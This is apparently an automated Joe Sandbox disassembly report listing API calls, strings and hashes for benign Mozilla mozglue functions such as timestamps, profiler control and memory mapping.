API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 1f671dd597358b647594531207d27c6846944198baf72bc64b318db09e741d4e
Instruction ID: a76439bf7aeb666f6067f12f2a3e774bee856894e4cae251bc5a1687e2157477
Opcode Fuzzy Hash: 1f671dd597358b647594531207d27c6846944198baf72bc64b318db09e741d4e
Instruction Fuzzy Hash: E471C2B0A04784DFD704DF28D480A6ABBF0FF5A308F54496DE59687B52D731E988CB92

Function 6CAE9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAD3217
Part of subcall function 6CAD31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAD3236
Part of subcall function 6CAD31C0: FreeLibrary.KERNEL32 ref: 6CAD324B
Part of subcall function 6CAD31C0: __Init_thread_footer.LIBCMT ref: 6CAD3260
Part of subcall function 6CAD31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAD327F
Part of subcall function 6CAD31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD328E
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAD32AB
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAD32D1
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAD32E5
Part of subcall function 6CAD31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAD32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAE9675
__Init_thread_footer.LIBCMT ref: 6CAE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAE9707
__Init_thread_footer.LIBCMT ref: 6CAE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAE97B7
FreeLibrary.KERNEL32 ref: 6CAE97D0
FreeLibrary.KERNEL32 ref: 6CAE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9824

Strings

MapViewOfFileNuma2, xrefs: 6CAE97B1
NtMapViewOfSection, xrefs: 6CAE9701
ntdll.dll, xrefs: 6CAE96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAE9670

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: d57258e83425208e358032b0506718741ebd00a57a8cf8ad5e1cd2de88663716
Instruction ID: 2093a59b7913c16a0f226f63fd686fd4ed4ce7de6778d9e21167111eed48dc28
Opcode Fuzzy Hash: d57258e83425208e358032b0506718741ebd00a57a8cf8ad5e1cd2de88663716
Instruction Fuzzy Hash: 6161D0717003459FDF00DFB9E984BDABBB5EB4E324F944529E91593780D730A898CB91

Function 6CB36660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB5F618), ref: 6CB36694
GetThreadId.KERNEL32(?), ref: 6CB366B1
GetCurrentThreadId.KERNEL32 ref: 6CB366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB366E1
EnterCriticalSection.KERNEL32(6CB5F618), ref: 6CB36734
GetCurrentProcess.KERNEL32 ref: 6CB3673A
LeaveCriticalSection.KERNEL32(6CB5F618), ref: 6CB3676C
GetCurrentThread.KERNEL32 ref: 6CB367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB36868
RtlCaptureContext.NTDLL ref: 6CB3687F

Strings

WalkStack64, xrefs: 6CB36890

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 26874d0529ac2c699c5aeca558b0e62325b00681fa6519dd47d927f6c032c99c
Instruction ID: 03b48647611d65c9fc982d0aeed858c2df89c4477ea7e10626af20089d73e96d
Opcode Fuzzy Hash: 26874d0529ac2c699c5aeca558b0e62325b00681fa6519dd47d927f6c032c99c
Instruction Fuzzy Hash: A7519A71A09391EFDB11CF24C848A9EBBF4FF89714F44492DF99997640D7B0A908CB92

Function 6CB1DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1DE73
GetCurrentThreadId.KERNEL32 ref: 6CB1DF7D
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB1DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAE4A68), ref: 6CB1DE7B

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAE4A68), ref: 6CB1DEB8
free.MOZGLUE(00000000,?,6CAE4A68), ref: 6CB1DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB1DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CB1DE83
<none>, xrefs: 6CB1DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB1E00E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 08969cab46bc7cae27eedbf13f7940bf39623de0156b11e81b3bd227a035ad60
Instruction ID: 8fdf1ffa625f5a5c0aba1dd542e23d53b13675e2ba9a80f00508539a198a6a4c
Opcode Fuzzy Hash: 08969cab46bc7cae27eedbf13f7940bf39623de0156b11e81b3bd227a035ad60
Instruction Fuzzy Hash: 85410235B052909BEF119F74E8087AEBB76EB4631DF940019EA09D7F41CB719909CBE2

Function 6CB2D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D52A
GetCurrentThreadId.KERNEL32 ref: 6CB2D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D55F
free.MOZGLUE(00000000), ref: 6CB2D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB2D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB2D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D652
GetCurrentThreadId.KERNEL32 ref: 6CB2D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D6A2

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d90536d404f5fd680aafa07b11a73fb7590697bbd9729af725a2e7082b9b7eff
Instruction ID: 56ec730cd6e2a5d3d669e03a230a166cb3ab3319514b5190f103db1d3e2bb07a
Opcode Fuzzy Hash: d90536d404f5fd680aafa07b11a73fb7590697bbd9729af725a2e7082b9b7eff
Instruction Fuzzy Hash: C5518C71604745DFC704DF35C488AAABBF4FF89318F508A2EE85A87750DB34A889CB91

Function 6CAF5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAF56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAF56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAF5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAF57BC
GetTickCount64.KERNEL32 ref: 6CAF58CB
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAF58F3
__aulldiv.LIBCMT ref: 6CAF5945
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAF59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB5F638,?,?,?,?), ref: 6CAF59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAF56CC

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: a8a7815218075c717e3cfdc1f410c884c61df76e5c201851744df7a57072f80c
Instruction ID: e968742cb9fca10ec2960ce05224a3b752e3890e1d0c9df77f0b192104f96f33
Opcode Fuzzy Hash: a8a7815218075c717e3cfdc1f410c884c61df76e5c201851744df7a57072f80c
Instruction Fuzzy Hash: B0C16E71A097409FDB05DF28C48066AFBF1BFCA714F598A1DF8D497660D730A986CB82

Function 6CB1EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1EC8C

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1ECA1
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB1ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB1ED19
CloseHandle.KERNEL32(?), ref: 6CB1ED28
free.MOZGLUE(00000000), ref: 6CB1ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB1EC94

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 936fd716e61c582a0481fde0209d947ee7a7b9fb3e080406bcab4e86ab64102f
Instruction ID: 805018b925402bb3cf9b347ba6a8822af796490672cef7d862fdb3a66cd5df9e
Opcode Fuzzy Hash: 936fd716e61c582a0481fde0209d947ee7a7b9fb3e080406bcab4e86ab64102f
Instruction Fuzzy Hash: EE21C475604198ABEF019F64DC08AAEBB7AEF4636CF944210FD1897F41DB319815CBA2

Function 6CB18ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CADEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB1B392,?,?,00000001), ref: 6CB191F4

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

Strings

timeline-fileio, xrefs: 6CB190A4
timeline-ipc, xrefs: 6CB19096
name, xrefs: 6CB18F16
data, xrefs: 6CB190E8
timeline-memory, xrefs: 6CB19088
timeline-overview, xrefs: 6CB1907A
marker-table, xrefs: 6CB1906C
stack-chart, xrefs: 6CB190B2
marker-chart, xrefs: 6CB1905E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 435ae39b7cb3ae3fd014ba4fed345726702c6603348edfb75d4cebd75b938488
Instruction ID: 8adf8801fb1bc2c5edcc4107334570c0decb2421692a8d5ee6698d9717817cc7
Opcode Fuzzy Hash: 435ae39b7cb3ae3fd014ba4fed345726702c6603348edfb75d4cebd75b938488
Instruction Fuzzy Hash: 48B1D1B0E052899BDB04CF94D5957EEBBB6FF84318F548429D402ABF84C731A958CBE1

Function 6CAFC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAFC5A3
WideCharToMultiByte.KERNEL32 ref: 6CAFC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CAFC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CAFCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAFCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFCAA5

Strings

(null), xrefs: 6CAFC596
0, xrefs: 6CAFD30A

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 14a6bb4e7e9a398de6d7023fc2f81eedd658d4cd8ef317a3faead402b080971b
Instruction ID: e649b79dbb77f9cc07424c7a1fe68208250c2206cc3ddd1c2718baea43cf4cf0
Opcode Fuzzy Hash: 14a6bb4e7e9a398de6d7023fc2f81eedd658d4cd8ef317a3faead402b080971b
Instruction Fuzzy Hash: 47A1BE306083418FDB11DF2AC59475ABBF5AF89748F08891CF9A997741D731E886CB82

Function 6CAD3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAD350E
__Init_thread_footer.LIBCMT ref: 6CAD3522
__aulldiv.LIBCMT ref: 6CAD3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD3592

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

Strings

kernel32.dll, xrefs: 6CAD34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAD3508

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0941a0edf8be6238785d249d8989bcd8690e945505a987bf649a4a67c75d096d
Instruction ID: 579b1f4cf63e55a9e2683b9c0d23ac71e849e1531cf9507a2ca42a56cac6f939
Opcode Fuzzy Hash: 0941a0edf8be6238785d249d8989bcd8690e945505a987bf649a4a67c75d096d
Instruction Fuzzy Hash: DC31E275B01249AFDF04DFB9C858AAEB7B9FB45304F950419E541E3690DB70A944CF60

Function 6CAD4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB14843,?), ref: 6CAD45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB14843,?), ref: 6CAD468A
free.MOZGLUE(?,?,?,?,?,?,6CB14843,?), ref: 6CAD46C9
free.MOZGLUE(?), ref: 6CAD46EF
free.MOZGLUE(?), ref: 6CAD4712
free.MOZGLUE(?), ref: 6CAD4735
free.MOZGLUE(?), ref: 6CAD4758
free.MOZGLUE(?), ref: 6CAD477B
free.MOZGLUE(?), ref: 6CAD479E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: df0e6eb0b3d7cae533daee4d3393ca6164037314bbbbbb78d63a284adca607d4
Instruction ID: 7e0222777137dc3be3871d8c5b79993f9f0621ba9e9e75ffe3d4b7ec3544dcfc
Opcode Fuzzy Hash: df0e6eb0b3d7cae533daee4d3393ca6164037314bbbbbb78d63a284adca607d4
Instruction Fuzzy Hash: 9BB1F471A041508FDB18CF3CD9947AD77B2AF42328F1A4679E426DBB86D731E8C48B81

Function 6CB3AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB3AC52
CreateFileMappingW.KERNEL32 ref: 6CB3AC7D
GetSystemInfo.KERNEL32 ref: 6CB3AC98
MapViewOfFile.KERNEL32 ref: 6CB3ACB0
GetSystemInfo.KERNEL32 ref: 6CB3ACCD
MapViewOfFile.KERNEL32 ref: 6CB3AD05
UnmapViewOfFile.KERNEL32 ref: 6CB3AD1C
CloseHandle.KERNEL32 ref: 6CB3AD28
UnmapViewOfFile.KERNEL32 ref: 6CB3AD37
CloseHandle.KERNEL32 ref: 6CB3AD43
CloseHandle.KERNEL32 ref: 6CB3AD67

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: c71aca881e8396b9441b6e345b31bd0d468868600f808c660f6c3e829532f497
Instruction ID: 9e47401f06a91691ac265a0253b3c9878ef407e89e2653ae62f6b094a935bb25
Opcode Fuzzy Hash: c71aca881e8396b9441b6e345b31bd0d468868600f808c660f6c3e829532f497
Instruction Fuzzy Hash: 0D314FB1A047448FDB01EFB8D64866EBBF0FF85305F558A2DE98997251EB709448CB82

Function 6CAE9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAE9675
__Init_thread_footer.LIBCMT ref: 6CAE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAE9707
__Init_thread_footer.LIBCMT ref: 6CAE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9773

